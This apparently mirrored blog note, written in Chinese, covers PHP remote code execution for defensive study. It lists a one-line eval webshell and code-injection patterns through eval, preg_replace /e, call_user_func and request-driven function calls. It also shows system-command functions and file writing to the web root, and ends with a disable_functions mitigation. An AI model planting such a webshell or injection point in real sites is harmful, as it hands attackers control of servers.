4
【笔记】RCE远程代码执行
source link: https://feiju12138.github.io/2022/06/08/RCE%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
【笔记】RCE远程代码执行
2022-06-082022-06-11 0
RCE远程代码执行学习笔记
本文仅用于网络信息防御学习
PHP代码注入
- PHP服务器的代码注入
可能被注入的PHP代码
一句话木马
@eval($_REQUEST[<pwd>]);
eval()
- 将参数作为php代码执行
eval(phpinfo());
preg_replace()
preg_replace()
原义是通过正则表达式匹配字符串中的子字符,将其替换为新字符- 如果第一个参数传递的正则表达式以
/e
结尾,且第二个参数传递的字符为\\1
,则会将第三个参数作为php代码执行
preg_replace("/(.*)/e", '\\1', phpinfo());
call_user_func()
- 通过传递回调函数和回调函数的参数,来执行回调函数
assert
:函数名phpinfo()
:函数值
http://example.com/index.php?cmd=phpinfo
call_user_func(assert, phpinfo());
http://example.com/index.php?cmd=phpinfo
$cmd = $_REQUEST["cmd"];
$cmd();
system()
- 执行系统命令
<shell>
:系统命令字符串
system("<shell>");
exec()
- 执行系统命令,但只会返回部分执行结果
<shell>
:系统命令字符串
print exec("<shell>");
shell_exec()
- 执行系统命令
print shell_exec("<shell>");
passthru()
- 执行系统命令
print passthru("<shell>");
echo `<shell>`;
查看当前文件所在的绝对路径
print(__FILE__);
<file>
:指定新创建文件的新创建的文件会放在站点根目录
file_put_contents(<file>, <text>);
通过配置文件关闭部分函数渲染
- 将想要关闭的函数名写在配置文件第314行
/private/etc/php.ini
disable_functions = assert,system
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK